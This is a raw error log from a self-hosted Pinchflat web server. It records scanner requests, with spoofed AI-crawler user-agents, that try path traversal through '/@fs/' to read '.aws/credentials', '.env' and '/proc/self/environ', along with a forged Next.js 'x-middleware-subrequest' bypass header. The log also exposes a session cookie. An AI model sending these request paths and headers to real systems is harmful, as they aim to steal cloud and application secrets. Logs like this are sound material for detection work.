"cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/home/ubuntu/.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29668.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/home/ubuntu/.aws/credentials", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33948}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", (truncated) 16:49:07.309 [info] GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env 16:49:07.309 [debug] QUERY OK source="settings" db=0.1ms idle=73.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.309 [debug] QUERY OK source="settings" db=0.0ms idle=50.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.309 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.309 [error] #PID<0.29671.0> running PinchflatWeb.Endpoint (connection #PID<0.29670.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/..%252f..%252f..%252f..%252f..%252froot/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29670.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/..%252f..%252f..%252f..%252f..%252froot/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33956}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29671.0>, params: %{"raw??" => ""}, path_info: ["@fs", "..%252f..%252f..%252f..%252f..%252froot", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw??" => ""}, query_string: "raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/..%252f..%252f..%252f..%252f..%252froot/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61aYkfM-lQf8ABwEh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29670.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/..%252f..%252f..%252f..%252f..%252froot/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33956}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/..%252f..%252f..%252f..%252f..%252froot/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29670.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/..%252f..%252f..%252f..%252f..%252froot/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33956}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:n (truncated) 16:49:07.310 [info] GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ 16:49:07.311 [debug] QUERY OK source="settings" db=0.0ms idle=51.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.311 [debug] QUERY OK source="settings" db=0.0ms idle=23.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.311 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.311 [error] #PID<0.29673.0> running PinchflatWeb.Endpoint (connection #PID<0.29672.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29672.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33958}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29673.0>, params: %{"raw??" => ""}, path_info: ["@fs", "..%252f..%252f..%252f..%252f..%252fproc", "self", "environ"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw??" => ""}, query_string: "raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61aY_1PqK6YcABwFB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29672.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33958}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29672.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33958}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", (truncated) 16:49:07.400 [info] GET /@fs/home/ec2-user/.aws/credentials 16:49:07.400 [debug] QUERY OK source="settings" db=0.1ms idle=112.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.400 [debug] QUERY OK source="settings" db=0.0ms idle=91.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.400 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.400 [error] #PID<0.29675.0> running PinchflatWeb.Endpoint (connection #PID<0.29674.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/home/ec2-user/.aws/credentials?raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/home/ec2-user/.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29674.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/home/ec2-user/.aws/credentials", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33966}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29675.0>, params: %{"raw??" => ""}, path_info: ["@fs", "home", "ec2-user", ".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw??" => ""}, query_string: "raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/home/ec2-user/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61auVOgmdYesAAH9j"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29674.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/home/ec2-user/.aws/credentials", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33966}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/home/ec2-user/.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29674.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/home/ec2-user/.aws/credentials", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33966}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middle (truncated) 16:49:07.418 [info] GET /@fs/var/task/.env 16:49:07.418 [debug] QUERY OK source="settings" db=0.1ms idle=109.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.419 [debug] QUERY OK source="settings" db=0.0ms idle=107.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.419 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.419 [error] #PID<0.29677.0> running PinchflatWeb.Endpoint (connection #PID<0.29676.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/var/task/.env?raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/var/task/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29676.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/var/task/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33970}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" 